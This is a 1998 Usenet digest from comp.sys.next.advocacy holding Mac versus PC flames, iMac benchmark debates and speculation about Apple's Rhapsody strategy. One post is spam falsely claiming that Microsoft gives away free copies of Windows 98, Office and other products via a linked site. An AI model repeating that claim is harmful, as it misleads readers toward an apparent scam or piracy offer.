Organization: Ericsson North America Inc.
Message-ID: <35D1DCE6.D2B73F1B@ericsson.com>
References: <joe.ragosta-0708982205020001@elk59.dol.net> <B1F18F6F-2E069@206.165.43.124> <joe.ragosta-0808980940350001@elk50.dol.net> <MPG.1037c4bb416ff4729896d5@news.ont.com> <joe.ragosta-1008980835430001@wil81.dol.net> <6qsc1i$cvt$1@nnrp1.dejanews.com> <see-below-1208981058270001@dynamic55.pm09.mv.best.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Matthew Vaughan wrote:
> The best way I can think to describe it is: software mode is faded and
> dull looking, like a mural in concrete. Now throw water on it, and you get
> deeper darks, richer colors, and shinier brights, and that's what 3Dfx is
> like. Everything is smoother--you don't see any pixellation because of the
> filtering. You can also use transparent water, as well as (much less
> useful) mirror and shadow effects.
Quake 3 will not support software renderers. A number of developers have
indicated that this is the direction that they, too, are moving. The
next six months will probably flush out the bulk of all 3D software that
does not require hardware acceleration.
MJP
From: <vista@telepath.com>
Newsgroups: comp.sys.next.advocacy
Subject: ~~~Free Microsoft Software!~~~
Date: 12 Aug 1998 12:25:59 GMT
Organization: The University of Oklahoma (USA)
Message-ID: <6qs1kn$jm7$3500@artemis.backbone.ou.edu>
That is correct.
Microsoft is now GIVING away FREE Copies of these latest programs and more.
Windows 98!
NT 5.0 BETA
SQL 7.0
Frontpage 98
Office 97/98
This incredible program has been around for quite sometime for an elite group of IT professionals but now you too can get the software Microsoft gives away for free for marketing reasons.
For more informaiton check us out on the web:
http://www.telepath.com/vista
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <6qs1kn$jm7$3500@artemis.backbone.ou.edu>
Control: cancel <6qs1kn$jm7$3500@artemis.backbone.ou.edu>
Date: 12 Aug 1998 21:40:23 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.6qs1kn$jm7$3500@artemis.backbone.ou.edu>
Sender: <vista@telepath.com>
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
http://www.uiuc.edu/ph/www/tskirvin/faqs/spam.html
Please include the X-CosmoTraq header of this message in any correspondence
specific to this spam.
Sick-O-Spam, Spam-B-Gon!
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Wed, 12 Aug 1998 15:00:50 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu>
In article
<Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu>,
Patrick <patrick@howard.genetics.utah.edu> wrote:
> On Fri, 7 Aug 1998, Joe Ragosta wrote:
>
> > > George Graves wrote:
> > > >
> > > > In article <35C86ABE.4EE5@genetics.utah.edu>, Patrick O'Neil
> > > > <poneil@genetics.utah.edu> wrote:
> > > [...]
> > > >
> > > > I see. You don't mind running Win95 and NT, but you won't run the
> > > > "dismal Mac OS". Have you seen your psychiatrist lately Mr. O'Neil?
> > > > Because you're nuts!
> > > >
> > >
> > > Not at all. As much as I dislike M$ and Gates, the latest Winblows
> > > variants (perversions?) ARE more stable than MacOS. Setting up a
> > > standard Winblows box from scratch is no more complicated than
> > > setting up a new install of MacOS...so there is no benefit THERE.
> >
> > And George just showed that you're wrong.
> >
> > Heck, even one of the prime Wintrolls suggested a solution that was
> > _still_ much harder than installing MacOS.
> >
> > Until you have some evidence, you're just blowing smoke.
>
> Give me a break. I have installed, multiple times, from scratch, on BOTH
> Macs and PCs. I have done so on the PC with OS/2, Win95, and RedHat
> Linux. Installing Win95 on a PC was NO more difficult than installing
> MacOS on my daughters Performa. There was NO problems, in ANY case, on
> the PC as compared to the Mac. I pointed, clicked, and left it alone
> until it was done, hitting a button a couple times at the end of the
> Win95 install as to whether I wanted this or that installed, or whether I
> wanted the settings that Win95 was going to go with. There was no work
> involved, no crashes. OS/2 installed with only a LITTLE work, because it
> doesn't have all the hardware support that Windoze does (it is getting
> better) and it DOES have better/more extended network/server support that
> you have to make decisions about. Big wup. Linux was the hardest of the
> bunch, especially for a firsttimer. After doing it once, subsequent
> installs are cake, but they do take more "work/input" than any of the
> other installs require...but then it has capabilities and performance
> unmatched by anything else we are talking about here, for Mac or PC...period.
>
> I repeat...there was NO difference on ease of install between MacOS and
> Win95. Barely a difference between MacOS and OS/2 Warp 4.
>
> That is MY PERSONAL experience. Not heresay, not rumor. I have done it
> many times on BOTH.
OK, how many of those "many times" that you have installed Windows have you
had to make a boot floppy which recognized your CD-ROM drive? With the Mac,
you NEVER have to do that!. How many times have you had to cast endlessly about
looking for the latest hardware drivers for Windows? ("ya can gettum at our
website". Fine. If I had a working computer, I could go to your bloody web
site,
but you see, I'M INSTALLING THE GODDAMN SYSTEM, AND IT WANTS UPDATED MODEM
DRIVERS! Now how the hell am I supposed to go to your goddam website?)
This never
happens with a Mac.
Sure. If you have the right boot floppy for your machine, and if you have
all the
latest drivers for everything already, MAYBE, just MAYBE, it will be almost as
simple as installing a new system on a systemless Mac (but not quite. Macs
still have fewer steps). In an ideal world many things are simple. But the
world,
especially the world of computers, is far from perfect, and the PC with its
DOS setup, its myriad of hardware and software drivers, its hardware
conflicts (even if everything is PNP) is a crap shoot at best. A crap shoot,
that obviously, so far, you have been lucky at.
George Graves
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: NEXTstep/Openstep for the Mac
Date: 12 Aug 1998 21:37:26 GMT
Organization: Digital Fix Development
Message-ID: <6qt1um$rf1$1@news.digifix.com>
References: <35CF0C69.B3B0CF5@ericsson.com> <SCOTT.98Aug11143008@slave.doubleu.com> <6qs5e8$i06$1@crib.corepower.com> <6qsg2o$sr$1@sun579.rz.ruhr-uni-bochum.de> <6qsg9n$j66$1@crib.corepower.com> <35d1caf2.0@news.depaul.edu> <6qskpb$lir$1@msunews.cl.msu.edu>
In-Reply-To: <6qskpb$lir$1@msunews.cl.msu.edu>
On 08/12/98, spammers@ruin.the.internet.channelu.com wrote:
>In <35d1caf2.0@news.depaul.edu> Jonathan W Hendry wrote:
<snip>
>> It would be easier to just use raw dictionary content from
>www.dict.org.
>>
>
>It may be better to go with a open solution. IXKit is one of the
>things
>that I am most interested in porting - but I don't think I will get
>around
>to it for quite some time.
What about using AIAT as was suggested? Its very fast, and
included with Mac OS X Server.
That gives you the indexing and the finding, you'd just need
to write the parsing stuff... Omni has released a very basic
Objective-C wrapper for AIAT..
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.hardware.misc,comp.sys.next.advocacy
Subject: Imac faster than p2 400!!!!!!!
Date: Wed, 12 Aug 1998 14:57:03 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-1208981457040001@sdn-ar-001casbarp290.dialsprint.net>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
NOT! A g3 233 is about as fast as a p2 300 (actually probably a smidgeon
slower). But a imac is not a g3 233. Is the imac faster than a g3 233?
Nope. Look at http://www.macintouch.com/imacreview.html
In macbench, a imac gets 760, and a g3 233 gets 785.
Then their is real world apps. Photoshop gives the mac about the most
favorable light. Quake shows the p2 to be faster than what photoshop
shows, word and excel also are more favorable to the p2. And photoshop
shows a g3 266 to be about %7 faster than a p2 300, and shows a p2 300 to
be about %6 faster than a g3 233 (from rabid joe's web page).
If you take Apple's internal engineers word for it (and you should, They
seemed to do a honest performace, using 15 adobe filters) a g3 266 is
about %30 faster than a p2 266 using photoshop. I assume a g3 233 would
also be about %30 faster than a p2 233, meaning its probably about the
same speed as something between a p2 266 and a p2 300. And of course
imac is slower than a g3 233, so while a g3 233 would be closer to a p2
300 than a p2 266, the imac would be closer to a p2 266 than the g3 233
would be.
According to macbench, the p2 300 would have a EVEN BIGGER performance
gain over the imac.
So in reality, the imac performance wise is somewhere between a p2 266 and
p2 300.
--
Whats a nice wench like you doing in a monastery like this?
- reported oldest written Scottish, said by a clergymen to a "wench"
From: rbarris@quicksilver.com (Rob Barris)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.hardware.misc,comp.sys.next.advocacy
Subject: Re: Imac faster than p2 400!!!!!!!
Message-ID: <rbarris-ya023280001208981532360001@206.82.216.1>
References: <macghod-1208981457040001@sdn-ar-001casbarp290.dialsprint.net>
Organization: Quicksilver Software, Inc.
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-transfer-encoding: 8bit
Date: Wed, 12 Aug 1998 15:32:36 -0700
NNTP-Posting-Date: Wed, 12 Aug 1998 15:30:23 PDT
In article <macghod-1208981457040001@sdn-ar-001casbarp290.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> And of course
> imac is slower than a g3 233, so while a g3 233 would be closer to a p2
> 300 than a p2 266, the imac would be closer to a p2 266 than the g3 233
> would be.
"would be", "would be", "would be"?
Do you have measured app performance numbers for iMac or don't you?
A synthetic benchmark like MacBench or ByteMark shows no improvement on
iMac over a G3-233, because the components exercised by that class of test
are not really different. (G3 processor, 512K backside cache, 66MHz SDRAM).
However application-level performance on iMac is another story, due to a
couple changes in the iMac design:
a. native interrupt/exception handling (interrupt latency only a few
percent of what it used to be) - see the developer note. Directly affects
things like processing streams of net packets, serial traffic and so on.
Meaning, more cycles freed up for the task at hand, a web browser for
example.
b. ROM in RAM. The Toolbox code executes a lot faster coming out of
66MHz SDRAM than it does coming out of the classic ROM which the iMac
lacks. Since MacBench and BYTEMark don't exercise these components, their
benefit doesn't get measured on those tests.
I have heard unofficial app-level performance numbers for iMac which are
quite a bit better than the G3-233. So on that note I would encourage you
to seek out some app level benchmark results as soon as they are actually
published (or of course, run them yourself).
Rob
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.hardware.misc,comp.sys.next.advocacy
Subject: Re: Imac faster than p2 400!!!!!!!
Date: Thu, 13 Aug 1998 02:04:32 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6qthjg$cpk$1@nnrp1.dejanews.com>
References: <macghod-1208981457040001@sdn-ar-001casbarp290.dialsprint.net> <rbarris-ya023280001208981532360001@206.82.216.1>
In article <rbarris-ya023280001208981532360001@206.82.216.1>,
rbarris@quicksilver.com (Rob Barris) wrote:
> b. ROM in RAM. The Toolbox code executes a lot faster coming out of
> 66MHz SDRAM than it does coming out of the classic ROM which the iMac
> lacks. Since MacBench and BYTEMark don't exercise these components, their
> benefit doesn't get measured on those tests.
Actually, MacBench does use the toolbox as part of it's benchmarks and,
therefore, the benefits of fast RAM over ROM would be seen. I also wonder how
much time critical code is executed inside the toolbox. A few Quickdraw calls
(CopyBits, ScrollRect, etc) and a few File Manager routines but that's all
that I can think of. A game won't use the toolbox very much (except,
possibly, for CopyBits) nor would something like Photoshop (unless you RAM
starve it).
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: prink@DIESPAM!bcpl.net (Philip Rink Jr.)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <prink-ya02408000R1308980040290001@news.abs.net>
References: <6ogco6$8ma$1@hole.sdsu.edu> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com> <6p1e3r$ub9$1@bunyip.cc.uq.edu.au> <joe.ragosta-2107980812360001@0.0.0.0> <6p2u11$9g3$1@nnrp1.dejanews.com> <joe.ragosta-0408981649060001@wil36.dol.net> <6q8abf$nvs$1@nnrp1.dejanews.com> <35d39589.146319500@news.mindspring.com> <jbg-1108981259520001@green.sdc.cs.boeing.com> <kindall-1208980036180001@nic-c41-094.mw.mediaone.net> <35d12ca0.0@news.depaul.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-transfer-encoding: 8bit
Date: Thu, 13 Aug 1998 00:40:29 -0300
NNTP-Posting-Date: Thu, 13 Aug 1998 00:40:40 EDT
In article <35d12ca0.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
> The problem with the rumor is that this could consist of
> 'unsupported support'. It *might* run on certain machines, but
> Apple won't support it on those machines. A better way of
> describing it is 'unsupported compatibility' - gets rid of
> the ambiguity.
Couldn't this also be a way of attracting new application developers by
giving them a "clean slate"? Apple's saying, "look, here's a new OS, new
API's, hot new processors, and don't worry about having to make it
compatible with every Mac ever made." Sounds like a good deal for them.
--
Philip Rink Jr.
Internet Design & Consulting
prink [at] bcpl.net
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <0Q0A1.21246$7k7.19874803@news.rdc1.sdca.home.com> <35D0BB31.C59D68BD@ericsson.com>
<j37A1.21801$7k7.20104944@news.rdc1.sdca.home.com> <35D1C357.7B580353@ericsson.com>
Message-ID: <KpuA1.22574$7k7.20807120@news.rdc1.sdca.home.com>
Date: Thu, 13 Aug 1998 05:00:26 GMT
NNTP-Posting-Date: Wed, 12 Aug 1998 22:00:26 PDT
Organization: @Home Network
In <35D1C357.7B580353@ericsson.com> Michael Peck wrote:
> rr6013@yahoo.com wrote:
>
> > Heh, Apple built the brand Ñ?Job's deified it. SJ sacrificed his NeXT
> > hardware business to appease the PC gods once... NeXT survived that
paradigm
> > shift. Do you think he'd do it again? Aside from the historionics, I
firmly
> > see this as only _one_ way out of the box they've built for themselves.
And
> > as for precedent, the last person to try it wasn't Steve Jobs... (jokes
about
> > god aside) :-)
>
> I don't know what you mean at this point.
>
>
I'm pitifully trying to draw a picture in words of the "box" Apple has built
themselves into by exhalting the Macintosh brand above the Apple brand. By
choosing the MacOS X name for a carbonated Rhapsody AND killing it on Intel
after v1.0, the Apple brand was upstaged. Apple couldn't drive it's own
technology wagon with its position of leadership. Only Macintosh could steer
the technology course. It will go down as a benchmark event.
> Perhaps there are holes in my
> knowledge of history which are relevant to your points. As far as I
> know, the last head of Apple to pursue a course which jeopardized
> classic brands like Macintosh for the sake of a new business direction
> was Gilbert Amelio. The course of the cloning business was directed
> toward building a technology house, what with the cloning itself and
> peripheral actions like the formation of ATG, pursuit of the Live
> Objects cooperation, and new partnerships with Asian concerns to
> leverage the strength of manufacturing and branding from that sector.
>
> We all thought Jobs was going to do that, didn't we?
I wanted to avert a rehash of Steve Job's turning NeXT into a software
company at the expense of hardware. The guy has been up against tough
decisions which cost brand equity dearly. The historionics of what it cost I
don't care to rehash. I only wanted to use the precedent there to anchor the
thought of Apple entering a market condition requiring similar measures.
It's way out there on the realm of possibilities, as is the possibility that
Linux will challenge desktops.
> But we're back to
> the old "Macintosh" brand, heh. The "next big thing" turns out to be the
> last big thing warmed over, complete with the same old syrupy coating.
>
>
I have plenty of cynicism of my own so I'll not pile on... But I don't recall
Apple having _anything_ upon which to build the next "thing" big or not. So
I can't fault starting with OPENSTEP cum Rhapsody carbonated MacOS X. And in
the final analysis, the end product that is MacOS X is what they needed to do
at Rhapsody inception. They couldn't see the Mac userbase needs jumping into
the project design from the NeXT shop. They had their technology, their
vision and it cost them 2 yrs, brand independence and the leadership throne.
I don't like my OS warmed over, flavored with Mac syrup and carbonated. But
that's how it went down...
> Open your ears! What are Apple and every media outlet saying about
> future business? "Sales to existing customers...", "classic Apple
> markets like graphics, education, and publishing...", "leveraging the
> Macintosh brand as long as possible...". Please! What does "Think
> Different" mean?
>
I opened my eyes 6 mos. ago. They aren't doing anything else. As much as I
would like them to seize the initiative, attack the MS opportunity and remake
Apple into the greatest comeback story in capitalist history, it ain't gonna
happen that way. This is a long, slow process. It is not going to be a high
profile, hotswap power grab at the PC unfaithful.
Think Different ä is creating with the right hemisphere. What that means is
staking out "mindspace". Reserving that moment for Apple to enter the Life
of the left brain users - the "Aha" moment. A point when they realize that
Apple had the right message before anyone knew what the message meant. How
else can that message play out? They're certainly seeding it for all its
worth.
So you get the tried and proven "computer for the rest of us" strategy, voila
± iMac. Then MacOS X then eMac, etc...
> > History bears your opinion invalid. Clones convinced many, many "duped"
> > Apple fans that the best hardware wasn't coming from Cupertino. So great
was
> > the clone ground swell from duped Apple fans that evil clones were
decreed
> > dead. And so it was...
>
> Actually, you'll notice that I said "most Apple fans" and history
> definitely bears my opinion valid, since at best 30% of the Apple
> hardware market shifted away from Apple. I don't know what you meant.
>
Your point is defensible. I meant that every Mac shop I talked with prior to
WWDC96 had their eye on either a new PowerComputing box or new Moto machine.
>
> > "Open Source" poses a potential threat to Apple by turning "Pride of
> > Ownership " tangible. Phoof, goes the fantasy.
>
> The question at this point is whether you believe the fantasy is going
> to die anyway. Look around you, it's almost dead.
>
Nah, there are plenty of souls to be sold the Apple "computer for the rest of
us". Firstime buyers, Internet newcomers and little minds of mush... I
think they have plenty of market to play with, build and grow their base.
Its my problem that its not the market demographics to which I belong or
would ever join.
> > Consciousness is outed and
> > the duped must rationalize their commitment to their fantasy. Clones
> > attacked the Apple brand "store of value". Given better performance and
> > better prices the Apple brand couldn't hold marketshare on features
alone.
>
> Precisely, the damage is already done. It cannot be repaired, and it
> would have happened one way or another anyway. Point: it's time for
> *Apple* to wake up from the fantasy. Well, geez, it's long past time,
> but let's be charitable for the sake of argument.
>
I heartily agree damage was done, it can be repaired or they wouldn't have
killed clones. I think the fantasy Job's jolted Apple to awakening was that
it was not configured to compete in a cloned marketplace. That disloyal 30%
had a "rate of growth" that would have co-opted the business model. Its my
read that iMac was SJ's response to "how do we repair the damage". New
machine, new market, new customers, new lease on Life...
> > Open Source challenges the very "currency of the brand" by nullifying
price
> > in exchange for full equity. Free Trade prospers as stakeholders
contribute,
> > share, exchange and build equity. A parallel marketspace develops.
> >
> > Can Apple live in both worlds?
>
> No, it can't. But that's just opinion.
It'd be fun to put that one up for a vote here...
> And there's little doubt in my
> mind that Apple will die faster yet do more damage on its current
> course. When Apple falls someone will have to pick up the pieces. The
> current course of Apple business is just making it harder for its
> successors. That Apple will cease to exist as an independent market
> entity within 3 years has already become a matter of course in my
> predictions.
>
>
WAG Apple made that prediction way back when NeXT was chosen over Be.
-r
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
References: <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com> <6p1e3r$ub9$1@bunyip.cc.uq.edu.au> <joe.ragosta-2107980812360001@0.0.0.0> <6p2u11$9g3$1@nnrp1.dejanews.com> <joe.ragosta-0408981649060001@wil36.dol.net> <6q8abf$nvs$1@nnrp1.dejanews.com> <35d39589.146319500@news.mindspring.com> <jbg-1108981259520001@green.sdc.cs.boeing.com> <joe.ragosta-1208980740130001@wil31.dol.net>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35d18f11.0@nnrp1.news.uk.psi.net>
Date: 12 Aug 98 12:48:17 GMT
joe.ragosta@dol.net (Joe Ragosta) wrote:
>In article <jbg-1108981259520001@green.sdc.cs.boeing.com>,
>jbg@sdc.cs.boeing.com (Jim Glidewell) wrote:
>
>> If it turns out that Apple prices Rhapsody Server for roughly the same
>> price as OSX, a lot of my personal objections will be muted. Given such
>> a situation, people with PCI Powermacs would have *some* alternative
>> to buying a whole new machine to get many of the (IMO valuable) features
>> of Rhapsody/OSX.
>>
>> But the rumor mill has been *extremely* quiet on possible prices for
>> Rhapsody Server, which I interpret as a bad sign - I still expect that
>> Apple will price it as a "server" OS - my guess is a _minimum_ of $250,
>> but probably closer to $450. Prices which make it basically impossible to
>> justify for personal use.
>>
>> I sure hope I'm wrong...
>
>Just why should a server OS be priced appropriately for personal use?
Kind of an irrelevant question really - OPENSTEP/Rhapsody (AKA MacOS-X server) is NOT
a server OS. I know that Apple have changed the name, but (unless Apple have done
really major rewrites - and there's no evidence of that) the software is that of a
truly excellent workstation, not a server.
Apple can't possibly sell the system to the server market - so pricing it for the
server market would make no sense.
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: Mac booting (was: APPLE"S MINDSHARE SKYROCKETING!)
Date: 12 Aug 98 12:00:50
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Aug12120050@slave.doubleu.com>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net>
<ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net>
<macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net>
<6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu>
<gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net>
<35C9C503.2B61@genetics.utah.edu>
<gmgraves-0708981742280001@sf-usr1-54-182.dialup.slip.net>
<35CC0CA9.5AEEF798@algonet.se>
<casper-0808980633340001@acorn-a-40.oakmont.nb.net>
<35cc74c1.22951144@news.iafrica.com>
<gmgraves-0808981534410001@sf-usr1-24-152.dialup.slip.net>
<35cd6ebe.86957801@news.iafrica.com>
<1ddloab.11gepy1krlth6N@hoorn52.multiweb.net>
<rbarris-ya023280001108981516450001@206.82.216.1>
In-reply-to: rbarris@quicksilver.com's message of Tue, 11 Aug 1998 15:16:45 -0700
In article <rbarris-ya023280001108981516450001@206.82.216.1>,
rbarris@quicksilver.com (Rob Barris) writes:
In article <1ddloab.11gepy1krlth6N@hoorn52.multiweb.net>,
ERASE.this.dennis.scp@multiweb.nl (Dennis SCP) wrote:
> <cquirke@iafrica.com> wrote:
> > >> What might be impressive is if you can boot off the CD-ROM
> > >> without any reference to the HD at all (i.e. can remove the
> > >> HD, still works) for debugging and virus cleaning purposes.
> > >> I've heard this is possible, and that would be a major
> > >> advantage...
> >
> > >Get ready to be impressed. That's exactly how it works.
> >
> > I was, and am! ;-)
I don't understand why this is such a big deal. A SCSI block
device is a SCSI block device, right?
You would think so, wouldn't you? When I first got a CD-R, disks were
expensive enough that I didn't want to turn my first five-pack into
coasters. So, I built an image, and "burned" it to a SCSI EZFlyer
removable drive. NeXTSTEP and Linux allowed me to test that out as if
it were a real CD-ROM, no problem, and more importantly, no trickery.
NeXTSTEP even automounted it as a CD-ROM with no hints from me at all.
Imagine my joy when I couldn't get Windows NT to pay any attention to
the disk under any circumstances. NTFS disks worked fine in the
drive, but ISO formatted CD-ROM images didn't work at all. I'm sure
there's a way to do it, but I basically just bit the bullet and
assumed NT would work. [It did, but I did end up with a coaster
because of the three operating systems, NT was the one that needed
different parameters at image creation to get the long filenames.]
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.comm,comp.sys.next.advocacy,comp.sys.mac.system
Subject: A flame of the ma
Date: Thu, 13 Aug 1998 01:14:15 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
Right nowI am downloading while I write this. I am prposefully not
editing the errors, the ones that are the focus of this flame at least
(including the last word in the subject, add a "c". Thes errors you see
are not typoes, they are chaacters that dont show up for some reason,
related to the download going on now. In mt newswatcher it actually isnt
hat bad. But it was much worse in claris emailer (which prompted me to
write this post). In this message, a couple of characters that I did type
didnt show up because of the upload going o in the background, emailer was
much much worse. This is simply unacceptable.
This is a g3 233, with 96 megs of ram, and running 8.5b5c2
--
Whats a nice wench like you doing in a monastery like this?
- reported oldest written Scottish, said by a clergymen to a "wench"
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Thu, 13 Aug 1998 09:11:30 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6quak2$a3o$1@nnrp1.dejanews.com>
References: <6ogco6$8ma$1@hole.sdsu.edu> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com> <6p1e3r$ub9$1@bunyip.cc.uq.edu.au> <joe.ragosta-2107980812360001@0.0.0.0> <6p2u11$9g3$1@nnrp1.dejanews.com> <joe.ragosta-0408981649060001@wil36.dol.net> <6q8abf$nvs$1@nnrp1.dejanews.com> <35d39589.146319500@news.mindspring.com> <jbg-1108981259520001@green.sdc.cs.boeing.com> <kindall-1208980036180001@nic-c41-094.mw.mediaone.net> <35d12ca0.0@news.depaul.edu> <prink-ya02408000R1308980040290001@news.abs.net>
In article <prink-ya02408000R1308980040290001@news.abs.net>,
prink@DIESPAM!bcpl.net (Philip Rink Jr.) wrote:
> Couldn't this also be a way of attracting new application developers by
> giving them a "clean slate"? Apple's saying, "look, here's a new OS, new
> API's, hot new processors, and don't worry about having to make it
> compatible with every Mac ever made." Sounds like a good deal for them.
Nope. Applications developers don't care much about the underlying hardware.
Also, neither the OS nor the APIs are new.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: info@trainingcompany.com
Newsgroups: comp.sys.next.advocacy
Subject: FileMaker Pro training
Date: 13 Aug 1998 00:44:56 GMT
Organization: Macresource Computer Training
Message-ID: <6qtcu8$lt9$1@nnrp0.seg0>
Learn FileMaker Pro in your browser.
New on-line course with numerous screen-grabs and QuickTime movies. Just $9.99.
http://www.trainingcompany.com/filemaker/
From: hangtown_nospam@thelostweb.com (Scott Willsey)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Thu, 13 Aug 1998 12:58:52 GMT
Message-ID: <35e6e291.28365146@news.calweb.com>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Organization: "CalWeb Internet Services Inc. Your affordable ISP."
On Wed, 12 Aug 1998 15:00:50 -0700, gmgraves@slip.net (George Graves)
wrote:
>
>OK, how many of those "many times" that you have installed Windows have you
>had to make a boot floppy which recognized your CD-ROM drive? With the Mac,
>you NEVER have to do that!. How many times have you had to cast endlessly about
>looking for the latest hardware drivers for Windows? ("ya can gettum at our
>website". Fine. If I had a working computer, I could go to your bloody web
>site,
>but you see, I'M INSTALLING THE GODDAMN SYSTEM, AND IT WANTS UPDATED MODEM
>DRIVERS! Now how the hell am I supposed to go to your goddam website?)
>This never
>happens with a Mac.
>
Why, because the Mac is smart enough to automatically update the
installation software to include new drivers, or because no one makes
new hardware for it or writes new drivers so you don't have to worry
about it?
Scott
.................................................
Please edit the email address to reply
From: hangtown_nospam@thelostweb.com (Scott Willsey)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.os.ms-windows.advocacy,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Thu, 13 Aug 1998 13:06:14 GMT
Message-ID: <35e9e434.28784830@news.calweb.com>
